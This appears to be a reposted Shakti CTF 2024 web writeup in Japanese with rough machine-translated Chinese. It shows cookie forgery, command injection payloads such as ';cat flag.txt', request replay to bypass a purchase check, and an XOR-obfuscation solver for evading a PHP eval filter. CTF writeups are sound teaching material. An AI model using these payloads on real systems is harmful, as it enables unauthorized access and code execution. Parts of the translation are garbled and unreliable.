[Web] Delicious [Web]美味
How delicious! 太好吃了!
ソースコード無し。 開くと「Delicious isn’t it?」という文字とともにCookieの画像が表示される。
没有源代码。我问:“美味不是吗?”与文字一起显示Cookie的图像。
レスポンスを見るとSet-Cookieが付いている。
在响应中显示了Set-Cookie。
Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/
URL Decodeして、From Base64すると{"admin":0}
と出てくる。
如果URL解码,从Base64,它将显示 {"admin":0}
。
https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE
admin=1の状態にして使ってみよう。 让我们把它设置为admin=1。
https://gchq.github.io/CyberChef/#recipe=To_Base64(‘A-Za-z0-9%2B/%3D’)URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。
使用这个进行如下的重复请求的话,可以得到标志。
GET / HTTP/2 Host: ch23900160354.ch.eng.run Cookie: cookie=eyJhZG1pbiI6MX0%3D
[Web] Find the flag
[Web]找到旗子
Flag is in flag.txt Flag在flag.txt中
以下のようにコマンドインジェクションできるポイントがある。
有如下可以命令注入的点。
@app.get('/') def index(): test = request.args.get('test', None) if test is None: return render_template('index.html') command = f"find {test}" try: output = os.popen(command).read()
;
でコマンドを区切ってコマンドインジェクションしてみる。
用 ;
分隔命令并尝试命令注入。
/?test=a;id
とするとuid=0(root) gid=0(root) groups=0(root)
と出てくる。idコマンドが動作している。
如果是 /?test=a;id
,则会出现 uid=0(root) gid=0(root) groups=0(root)
。ID命令正在运行。/?test=a;id
とするとflag.txt
の存在が分かる。 如果是 /?test=a;id
,则知道 flag.txt
的存在。/?test=a;cat%20flag.txt
でフラグ獲得。 /?test=a;cat%20flag.txt
获得标志。
[Web] Ultimate Spiderman Fan
[Web]终极蜘蛛侠风扇
Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
欢迎来到蜘蛛侠商品门户网站。你的使命是利用你的网络吊索技能,成为最终的蜘蛛迷。你准备好证明你的价值,并要求你的精英蜘蛛迷之间的合法地位?
スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?
欢迎来到蜘蛛侠三月门户网站。你的任务是利用你的网络技能,成为终极蜘蛛迷。你准备好证明自己的价值,并在精英蜘蛛迷中捍卫自己的合法地位了吗?
お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
如果你有3,000美元的钱,你可以买到5,000美元的商品,你就会得到一个标志。
ソースコード無しの状態なのでリクエストの流れを見てみる。
在没有源代码的情况下,让我们来看看rexest的流程。
POST /buy
でproduct_id=1
を送ると、対応するshopping_tokenというcookieがもらえる
如果您在POST /buy
中发送product_id=1
,您将得到相应的cookie shopping_token。- 手順1のcookieとともに
GET /checkout
すると購入が確定する
GET /checkout
与步骤1中的cookie一起确认购买
買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。
你想购买的产品没有按钮,不能从用户界面上购买,但如果你根据以上规则更改了Reixest,你可能会购买它。
POST /buy
POST /buy HTTP/2 Host: ch11900160369.ch.eng.run Content-Length: 12 Content-Type: application/x-www-form-urlencoded product_id=4
これでcookieがもらえるので、以下のように使う。
这样就可以得到cookie,所以可以如下使用。
GET /checkout
GET /checkout HTTP/2 Host: ch11900160369.ch.eng.run Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E
これでフラグゲット。 现在是弗拉格盖特。
[Web] Filters [Web]滤波器
No bypass! Flag is in flag.txt
没有旁路!Flag在flag.txt中
phpでできたサイトが与えられる。 你可以用PHP创建一个网站。
<?php highlight_file(__FILE__); $command = $_GET['command'] ?? ''; if($command === '') { die("Please provide a command\n"); } function filter($command) { if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) { return false; } return true; } if(filter($command)) { eval($command); echo "Command executed"; } else { echo "Restricted characters have been used"; } echo "\n"; ?>
XORテクが使えそう。 可以使用XOR技术。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。
使用XOR避免字符限制,创建任意字符,然后使用括号调用。
# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md #string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB") string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE") obfuscated_code = "" charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM" for code in string_code: obfuscated = "" set_a = "" set_b = "" for i in code: ok = False for j in charset: for k in charset: if ord(j)^ord(k) == ord(i): set_a += j set_b += k ok = True break if ok: break obfuscated_code += f'("{set_a}"^"{set_b}")' print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)
直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))
で最終的にフラグが得られたはず。
环境立即关闭了,但它最终应该在 print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))
上获得标志。
[Web] Notes V1 解けなかった
[Web]Notes V1无法解决
Is there more to the Simple Notes app than meets the eye?
简单笔记应用程序还有比眼睛看到的更多的东西吗?
Note: Use Pow script
注意:使用Pow脚本
https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c
reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
を
有一个用golang编写的程序作为反向代理运行,并将 /admin
转换为反向代理。
ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
で
它被阻塞,然后在Python编写的程序中使用 /admin
。
Insecure YAML Deselializationがある。
不安全的YAML Deselialization不安全的YAML Deselialization
何らかのsmugglingだろうが… 我想这是个smuggling…..。
以下だったらしい。脆弱性確認してなかった。 似乎是下面的。我还没有看到脆弱性。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376
原文始发于Hatena Blog:Shakti CTF (2024) Writeup